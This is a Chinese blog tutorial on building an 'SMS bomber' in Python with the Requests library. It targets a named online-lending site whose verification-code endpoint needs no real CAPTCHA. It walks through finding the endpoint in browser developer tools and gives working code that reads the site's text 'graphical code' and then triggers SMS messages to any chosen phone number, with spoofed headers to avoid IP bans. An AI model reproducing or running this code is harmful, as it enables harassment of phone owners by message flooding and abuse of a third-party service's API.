如何利用Requests和网dai平台做一个短信hz

2020-07-09 15:24:55 浏览数 (1)

阅读操作完本文需要时间和魄力

对于众所周知的事就是网dai害人,尤其是对于那些高炮系列,更是害人不浅那,今天我们就来尝试用网dai的短xin接口做一个用于娱乐的短信hzj,耗光这些网dai平台。

对于Requests而言是Python的一个爬虫框架,因为简单易用、容易上手等优点,就选择了它。

我们先要了解一下什么是短信hz(下文称为dz吧),dz这个玩意的原理很多大佬都知道,但是对于小白用户就不了解了。在我们日常中有很多的短信需要接收,像京东、淘宝、百度等等,我们登录这些网站、注册这些网站或者忘记密码的时候,我们就需要用到短信验证码,这时候只要点击发送短信,我们就会收到短信验证码,但是这些验证码都是正规渠道,不会让你频繁的去发送,而且有的平台会限制你每天发送的次数,就怕被某些人利用,做很多dz出来。但是这些平台限制次数也没什么用啊,只要平台多,一样可以做一个dz,这时候图片验证码就出来,图片验证码其实也是为了反爬虫的,比较低级是验证码,高级一点的像滑块验证、文字识别、12306的验证码等等,这时候我们如果做爬虫并且需要这家平台数据,我们就会破解这些,例如:逆向js、打码平台、绕过验证码、使用Pyppeteer 滑动滑块等等,可我们的dz没有那么多的时间成本,我们就需要找不需要验证码的平台搞,这时候吧,我就注意到网dai平台,这个hui色甚至是hei色的平台,这些我之前分析了200个左右的平台,发现很多都不需要,原因是这些网贷换地址很快的,刚用几天就失效一大堆,毕竟是hui色的,不能存活时间长。。。。。。。(其实最稳的还是逆向安卓app,毕竟app在某些方面更迭代一次代价很大,,,,,,)

说了上文那么多,现在直接上手开干。

1.安装Python环境,最好是3(我不会,别问我)

2.安装Requests模块(pip3 install Requests)

3.开干啊。。。。

创建一个py文件。。。。大白都会

文本文件创建,改后缀名为py。代码如下(编码那些格式就不细说了)

代码语言:javascript复制
import requestsimport json

忘了分析url了,sorry。。。今天测试用的是我刚刚找的一个url,后退几步。。。。。 自己找一个吧算了,我给你们吧

代码语言:javascript复制
http://dajinzhu.yqg6699.com/allAuto/allAutoSpread/register.html?code=10

可以看到这样的界面

然后那点击申请

ka看到了吗,输入自己的手机号(温馨小提示:网dai这玩意共享手机号,文末让你们看看后遗症,,,,,) 不要点击发送验证码,先按f12或者打开开发者工具,点下Network,谢谢。

最后点下发送yzm,看下我们手机收到yzm了没(不是我手机号)。图中有很多说的很详细了,一般的也就需要这几个。我最后发下代码和运行结果图。。又忘了怎么运行了。。。

代码语言:javascript复制
python demo.py

这个在cmd 里面运行就可以,必须和你的文件目录同级。看下最终结果(代码放在最后。。。。。)

众所周知,网dai平台共享信息特别快,所以有很大的后遗症。。。。。不信自己去试试自己的手机号。。。。。。。看下我的后遗症。。。

代码在这里

代码语言:javascript复制
    import json    import requests    # 第一个url,用来获取验证码,文字方式,不知道为什么要这么low。。。
    url1 = 'http://dajinzhu.yqg6699.com/channel_and_code'
    # 发送验证码接口
    url = 'http://dajinzhu.yqg6699.com/channel_code'
    # 下面是一写爬虫的基本知识。。。不过多描述,不加会封ip的
    headers = {        'X-Requested-With': 'XMLHttpRequest',        'Origin': 'http://dajinzhu.yqg6699.com',        'Referer': 'http://dajinzhu.yqg6699.com/allAuto/allAutoSpread/register.html?code=10',        'User-Agent': 'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Mobile Safari/537.36',
    }    # 这是要提交的数据,第一个url和第二个url差不多,可以通用。。我是太懒了,,,,
    post_data = {        'phone': '手机号',        'graphical_code': "这个暂时随便写",        'channel_id': 10,        'type': 3,
    }    # 发送第一个url的请求,获取响应,也就是返回的数据,这里的yzm真的不知道咋说
    res1 = requests.post(url1, headers=headers, data=post_data)    # 将上个接口的验证码赋值给验证码的post_data
    post_data['graphical_code'] = json.loads(res1.json())['data']#这里用了json将文本转为json
    #提交手机号到短信接口,然后静静等待短信的到来
    res = requests.post(url, data=post_data, headers=headers)    print(res.text)

0 人点赞